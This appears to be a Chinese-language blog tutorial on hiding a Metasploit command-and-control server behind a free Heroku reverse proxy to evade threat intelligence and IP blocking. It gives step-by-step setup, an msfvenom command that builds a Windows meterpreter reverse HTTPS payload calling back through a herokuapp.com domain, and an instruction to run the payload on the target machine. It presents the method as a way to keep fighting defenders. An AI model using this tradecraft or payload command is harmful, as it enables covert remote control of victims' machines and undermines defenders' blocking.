利用heroku隐藏C2服务器(简单/零成本) 
前言 
本篇文章介绍如何使用heroku实现隐藏metasploit-framework的C2服务,相比较于业界流行的 域前置 CDN 重定向 三种隐藏C2的方法,本篇文章介绍的方法操作简单,在与 威胁情报 和 IP封锁 对抗过程成本更低(无论是时间成本还是资金成本).
当前流行的隐藏C2技术 
域前置 CDN 重定向是当前流行的三种隐藏C2的技术. Shanfenglan7 在其文章 利用CDN、域前置、重定向三种技术隐藏C2的区别 中进行了非常细致的说明,笔者在实际测试三种技术发现,每种技术都有一些不足.
CDN隐藏C2 
使用CDN隐藏C2的准备工作大致如下
- 需要购买域名 (可以通过https://www.freenom.com/使用免费的)
 - 需要购买CDN服务 (可以使用免费的https://www.cloudflare.com/)
 - 需要在CDN服务商处修改DNS记录
 - 需要等待DNS记录生效(如果你的域名绑定过其他IP,这个操作需要几个小时)
 
可以看到,虽然通过组合免费服务可以实现零成本,但是实现过程中需要进行很多配置操作,时间成本及心智成本过高.如果域名不是匿名注册,还有被追踪溯源的风险.
域前置隐藏C2 
使用域前置隐藏C2的准备工作大致如下
- 需要购买域名 (可以通过https://www.freenom.com/使用免费的)
 - 需要购买CDN服务 (可以使用免费的https://www.cloudflare.com/)
 - 需要在CDN服务商处修改DNS记录
 - 需要等待DNS记录生效(如果你的域名绑定过其他IP,这个操作需要几个小时)
 - 需要知道cdn上的其他高信誉域名或者ip
 - 需要修改malleable profile文件
 
域前置相对于CDN还要进行更多的额外操作,而且当前主流CDN服务商都已经开始屏蔽域前置技术.
重定向隐藏C2 
使用重定向隐藏C2的准备工作大致如下
- 需要两台VPS
 - 使用apache或者nginx配置重定向转发
 - 需要修改malleable profile文件
 
重定向需要进行一些额外的编码及部署工作,而且还需要将一台VPS的IP地址暴露给 威胁情报 ,可能被溯源,其实并没有实现隐藏C2的目标.
利用heroku隐藏C2服务器 
Heroku是一个支持多种编程语言的云平台即服务。简单理解就是可以免费部署docker容器并且可以开放web服务到互联网.下面介绍操作步骤.
- 首先注册Heroku账号,点击通过 https://dashboard.heroku.com 注册一个账号 (推荐使用gmail)
 - 注册成功以后登录,登录以后点击 部署链接,
 - app名称填写为 
mydiydomain(可自定义,名称为后续域名前缀),TARGET环境变量填写为C2的handler地址 

- 然后点击 Deploy app 系统会自动部署.
 - 在metasploit-framework中添加handler,配置如图
 


- 执行 
to_handler生成listener - 使用如下命令生成payload
 
bash
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=mydiydomain.herokuapp.com LPORT=443 -f exe -o ~/payload.exe- 上传运行目标机器运行即可
 
运行效果 
- 在metasploit-framework中查看session如下,可以看到session的链接地址为heroku中转服务器地址
 

- 在目标机抓包效果如下
 



总结 
heroku隐藏C2从技术原理上看非常简单,使用heroku服务部署nginx反向代理服务,payload连接heroku的nginx,nginx将流量转发到C2.具体优势如下:
- 只需要注册heroku免费账号即可
 - 无需注册或购买域名
 - 自带可信的SSL证书(heroku域名自带证书)
 - 如果IP地址被封锁,可删除原有heroku app重新部署heroku app(大约需要30s),与防守人员持续对抗
 - 操作步骤简单